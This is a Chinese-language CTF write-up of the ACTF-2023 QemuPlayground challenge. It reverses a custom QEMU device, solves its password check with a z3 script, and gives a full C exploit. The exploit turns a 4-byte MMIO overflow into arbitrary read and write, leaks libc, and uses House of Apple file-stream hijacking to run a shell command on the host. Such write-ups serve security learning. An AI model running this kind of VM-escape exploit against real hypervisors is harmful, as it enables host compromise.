ACTF-2023 QemuPlayground

说再见之前,用Apple交换flag♥

分析

去符号表的Qemu逃逸.

使用ida2pat工具从有符号的qemu-x86-64中制作模式文件和签名,导入到IDA中,基本没几个函数能识别的,不知道是工具问题还是库版本问题.

从已有的idb中导出local_types到头文件中,再导入到IDA中,parse错误,好像是IDA导出的头文件不是标准的C语法格式,不能直接使用.

只能嗯逆了.

搜索设备名actf,查看交叉引用,能找到Typeinfo结构体,从而找到class_init和instance_init,进一步找到realize函数.

标准qemu pwn的realize函数,可以找到mmio、pmio的函数表.

从mmio,pmio的读写函数以及其进一步的调用链可以逆出ACTF设备的关键结构

1
2
3
4
5
6
7
8
ActfState
{
0xA30(1): working
0xA31(1): authentication
0xA34-0xA38: key
0xA38-0xA78 char passwd[0x40]
0xA78(8): buf_ptr
}

然后大概逻辑是mmio读写密码,pmio在buf上读写(buf_ptr是一个堆指针).但是要先通过密码认证才能使用申请buf.

逆向

现在是,逆向时间!
说实话这种逆向对我来说就是天书,我只喜欢逆结构体和逻辑,和运算有关的别来沾边吧..

逆完用z3求解.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from z3 import *
from pwn import *
s = Solver()

xs = [BitVec(f'x{i}',8) for i in range(0x40)]
v14 = [BitVec(f'z{i}',8) for i in range(0x20)]
v9 = [0x7f, 0xac, 0x34, 0x12] * 8

order = xs.copy()

for i in range(0x40):
s.add(xs[i] <= 0x7f)
s.add(xs[i] >= 0x20)

cipher = b''.join(map(p64,[0xABA29EC2A98DD89A, 0xBBF1B4AB81B4A9D4, 0xFB92A48DB386FFA8, 0xEFB491B8AFB4ABD3, 0x80EF69F1CBD00397, 0xB2EB07859CDA52D3, 0xEC9E22F5A5A07FA3, 0x4B36DF7B5B655A84]))

for i in range(0xA):
for j in range(0x20):
v12 = xs[j] ^ xs[0x20+j]
v13 = (v9[j] ^ (j+0x11*i))&0xFF
v9[j] = v13
v14[j] = v13 ^ v12

xs[:0x20] = xs[0x20:]
xs[0x20:] = v14[:0x20]


for i in range(0x40):
s.add(xs[i] == cipher[i])


if s.check() == sat:
m = s.model()
flag = []
for i in order:
flag.append(int(f'{m[i]}'))
print(''.join(chr(i) for i in flag))
else:
print("no sol")

拿到密码(密码是flag的格式是因为这部分还真是一道逆向):

1
ACTF{cH3cK_1n_wI7h_B@by_C1ph3r_Te$t_1n_Q3MU_pl4yg3OuNd_1$_EASy!}

利用

mmio_write/mmio_read在读写paasswd时有个4字节的溢出

相当于:

1
2
uint32_t buf[0x10];
buf[0x10] = val;

于是可以控制到buf_ptr的低四位.

动调看一下buf_ptr,发现高位为0x7f45,结合上溢出即可完成0x7f4500000000-0x7f45ffffffff(只是举个例子,有ASLR的)地址范围内的任意读写.

用leakfind搜索一下,找到0x7fce3c000000+0x8a0那一条泄露链,
从0x8a0,0x870这俩偏移可以猜到是线程堆的malloc_state.查看最后的libc地址,确实是&main_arena.

fsop打House of Apple,执行”cat flag 1>&2”.
(cat flag不行,sh不行,不太懂)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/io.h>
#include <unistd.h>

#define HEX(x) printf("[*]0x%016llx\n", (unsigned long long)x)
#define LOG(addr) printf("[*]%s\n", addr)

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
#define LOWMASK 0xffffffff
#define HIGHMASK 0xffffffff00000000

// typedef unsigned long long uint64_t;

uint32_t pmio_base = 0x000000000000c040;
void * mmio_mem;
char* userbuf;
uint64_t phy_userbuf;
int fd;

void Err(char* err){
printf("Error: %s\n", err);
exit(-1);
}


uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;

int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
Err("open pagemap");
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

size_t va2pa(void *addr){
uint64_t data;

size_t pagesize = getpagesize();
size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);

if(lseek(fd,offset,SEEK_SET) < 0){
puts("lseek");
close(fd);
return 0;
}

if(read(fd,&data,8) != 8){
puts("read");
close(fd);
return 0;
}

if(!(data & (((uint64_t)1 << 63)))){
puts("page");
close(fd);
return 0;
}

size_t pageframenum = data & ((1ull << 55) - 1);
size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;

close(fd);

return phyaddr;
}



uint64_t mmio_read(uint64_t addr){
return *(uint32_t *)( mmio_mem + addr );
}

void mmio_write(uint64_t addr,uint64_t val){
*(uint32_t *)(mmio_mem + addr) = val;
}

void pmio_write(uint32_t addr,uint32_t val){
outl(val,addr);
}

void pmio_writeb(uint32_t addr,uint8_t val){
outb(val,addr);
}

uint64_t pmio_read(uint32_t addr){
return (uint32_t)inl(addr);
}

uint64_t pmio_readb(uint32_t addr){
return (uint8_t)inb(addr);
}

void init_mmio(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if(mmio_fd < 0){
Err("Open pci");
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if(mmio_mem<0){
Err("mmap mmio_mem");
}
LOG("mmio_init");
}

void init_pmio()
{
if (iopl(3) !=0 )
Err("I/O permission is not enough");
LOG("pmio_init");

}

void init_pa()
{
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
LOG("pa_init");
}

char* passwd = "ACTF{cH3cK_1n_wI7h_B@by_C1ph3r_Te$t_1n_Q3MU_pl4yg3OuNd_1$_EASy!}";

void oob_write(uint64_t addr,uint64_t val)
{
mmio_write(0x40,(addr&0xffffffff));
pmio_write(pmio_base+0x10,(val&0xffffffff));
pmio_write(pmio_base+0x14,(val>>32));
LOG("oobwrite!");
}

int main()
{
init_pa();
init_mmio();
init_pmio();

// login
for(int i = 0;i < 0x40;i += 4)
{
mmio_write(i,*(uint32_t*)(passwd+i));
}

pmio_writeb(pmio_base+1,0);

int authentication = pmio_readb(pmio_base+1);
if(authentication==1)
LOG("login successful");
else
{
Err("login fail");
}

// leak_libc
pmio_write(pmio_base+0x10,'a');
uint32_t buflow = mmio_read(0x40);
HEX(buflow);
mmio_write(0x40,(buflow&0xff000000)+0x8a0);

uint64_t heap1 = pmio_read(pmio_base+0x10);
heap1 |= (pmio_read(pmio_base+0x14)<<32);
HEX(heap1);

mmio_write(0x40,(heap1+0x870)&0xffffffff);

uint64_t addr = pmio_read(pmio_base+0x10);
addr |= (pmio_read(pmio_base+0x14)<<32);
HEX(addr);
// libc_base = buf+0x51310e80 0x53d52f90

uint64_t libc_base = addr - 0x219C80;
// uint64_t libc_base = addr + 0x1912C80;
HEX(libc_base);


// house of apple
LOG("House of Apple");
uint64_t fake_io_addr = (heap1 + 0x1000);
uint64_t _IO_wfile_jumps = libc_base + 0x2160c0;
uint64_t _IO_list_all_addr = libc_base + 0x21a680;
uint64_t stdout_addt = libc_base + 0x21a780;
uint64_t system_addr = libc_base + 0x50d70;
uint64_t stdin_addr = libc_base + 0x219aa0;

char cmd[0x18] = " cat flag 1>&2";
for(int i = 0;i<0x18;i += 8)
{
oob_write(fake_io_addr+i,*(uint64_t*)(cmd+i));
}

oob_write(fake_io_addr+0x18,0);
oob_write(fake_io_addr+0x28,1);
oob_write(fake_io_addr+0x30,0);
oob_write(fake_io_addr+0x68,system_addr);
oob_write(fake_io_addr+0xa0,fake_io_addr);
oob_write(fake_io_addr+0xd8,_IO_wfile_jumps);
oob_write(fake_io_addr+0xe0,fake_io_addr);
LOG("Prepared!");
HEX(fake_io_addr);

oob_write(_IO_list_all_addr,fake_io_addr);
}

在关机的时候泄露出flag.有种引爆炸弹的感觉.

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信